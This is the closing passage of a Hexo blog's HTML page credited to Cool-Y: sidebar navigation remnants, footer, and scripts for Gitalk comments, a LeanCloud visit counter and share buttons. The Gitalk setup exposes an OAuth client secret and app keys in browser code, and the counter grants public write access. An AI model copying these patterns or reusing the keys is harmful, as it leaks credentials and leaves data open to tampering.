nav-level-3"><a class="nav-link" href="#3-4-遇到的几个问题"><span class="nav-text">3.4 遇到的几个问题</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#ref"><span class="nav-text">ref</span></a></li></ol></div>
</div>
</section>
<!--/noindex-->
</div>
</aside>
</div>
</main>
<footer id="footer" class="footer">
<div class="footer-inner">
<div class="copyright">&copy; 2019 &mdash; <span itemprop="copyrightYear">2021</span>
<span class="with-love">
<i class="fa fa-user"></i>
</span>
<span class="author" itemprop="copyrightHolder">Cool-Y</span>
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-area-chart"></i>
</span>
<span title="Site words total count">105.1k</span>
</div>
<div class="powered-by"><a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
<div class="busuanzi-count">
<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<span class="site-uv">
<i class="fa fa-user"></i>
<span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
</span>
<span class="site-pv">
<i class="fa fa-eye"></i>
<span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
</span>
</div>
</div>
</footer>
<div class="back-to-top">
<i class="fa fa-arrow-up"></i>
<span id="scrollpercent"><span>0</span>%</span>
</div>
<div id="needsharebutton-float">
<span class="btn">
<i class="fa fa-share-alt" aria-hidden="true"></i>
</span>
</div>
</div>
<script type="text/javascript">
if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
window.Promise = null;
}
</script>
<script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
<script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
<script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
<script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
<script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
<script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
<script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
<!-- LOCAL: You can save these files to your site and update links -->
<link rel="stylesheet" href="https://unpkg.com/gitalk/dist/gitalk.css">
<script src="https://unpkg.com/gitalk/dist/gitalk.min.js"></script>
<!-- END LOCAL -->
<script type="text/javascript">
function renderGitalk(){
var gitalk = new Gitalk({
owner: 'Cool-Y',
repo: 'gitment-comments',
clientID: '180955a2c3ae3d966d9a',
clientSecret: '1c5db4da72df5e6fc318d12afe5f4406f7c54343',
admin: 'Cool-Y',
id: decodeURI(location.pathname),
distractionFreeMode: 'true'
});
gitalk.render('gitalk-container');
}
renderGitalk();
</script>
<script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
<script>AV.initialize("CnxMogaLcXQrm9Q03lF8XH7j-gzGzoHsz", "EHqNuJ6AYvuHnY6bN6w2SMXl");</script>
<script>
function showTime(Counter) {
var query = new AV.Query(Counter);
var entries = [];
var $visitors = $(".leancloud_visitors");
$visitors.each(function () {
entries.push( $(this).attr("id").trim() );
});
query.containedIn('url', entries);
query.find()
.done(function (results) {
var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
if (results.length === 0) {
$visitors.find(COUNT_CONTAINER_REF).text(0);
return;
}
for (var i = 0; i < results.length; i++) {
var item = results[i];
var url = item.get('url');
var time = item.get('time');
var element = document.getElementById(url);
$(element).find(COUNT_CONTAINER_REF).text(time);
}
for(var i = 0; i < entries.length; i++) {
var url = entries[i];
var element = document.getElementById(url);
var countSpan = $(element).find(COUNT_CONTAINER_REF);
if( countSpan.text() == '') {
countSpan.text(0);
}
}
})
.fail(function (object, error) {
console.log("Error: " + error.code + " " + error.message);
});
}
function addCount(Counter) {
var $visitors = $(".leancloud_visitors");
var url = $visitors.attr('id').trim();
var title = $visitors.attr('data-flag-title').trim();
var query = new AV.Query(Counter);
query.equalTo("url", url);
query.find({
success: function(results) {
if (results.length > 0) {
var counter = results[0];
counter.fetchWhenSave(true);
counter.increment("time");
counter.save(null, {
success: function(counter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(counter.get('time'));
},
error: function(counter, error) {
console.log('Failed to save Visitor num, with error message: ' + error.message);
}
});
} else {
var newcounter = new Counter();
/* Set ACL */
var acl = new AV.ACL();
acl.setPublicReadAccess(true);
acl.setPublicWriteAccess(true);
newcounter.setACL(acl);
/* End Set ACL */
newcounter.set("title", title);
newcounter.set("url", url);
newcounter.set("time", 1);
newcounter.save(null, {
success: function(newcounter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
},
error: function(newcounter, error) {
console.log('Failed to create');
}
});
}
},
error: function(error) {
console.log('Error:' + error.code + " " + error.message);
}
});
}
$(function() {
var Counter = AV.Object.extend("Counter");
if ($('.leancloud_visitors').length == 1) {
addCount(Counter);
} else if ($('.post-title-link').length > 1) {
showTime(Counter);
}
});
</script>
<script>
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
})();
</script>
<link rel="stylesheet" href="/lib/needsharebutton/needsharebutton.css">
<script src="/lib/needsharebutton/needsharebutton.js"></script>
<script>
pbOptions = {};
pbOptions.iconStyle = "box";
pbOptions.boxForm = "horizontal";
pbOptions.position = "bottomCenter";
pbOptions.networks = "Weibo,Wechat,Douban,QQZone,Twitter,Facebook";
new needShareButton('#needsharebutton-postbottom', pbOptions);
flOptions = {};
flOptions.iconStyle = "box";
flOptions.boxForm = "horizontal";
flOptions.position = "middleRight";
flOptions.networks = "Weibo,Wechat,Douban,QQZone,Twitter,Facebook";
new needShareButton('#needsharebutton-float', flOptions);
</script>
<script type="text/javascript" src="/js/src/js.cookie.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/scroll-cookie.js?v=5.1.4"></script>
</body>
</html>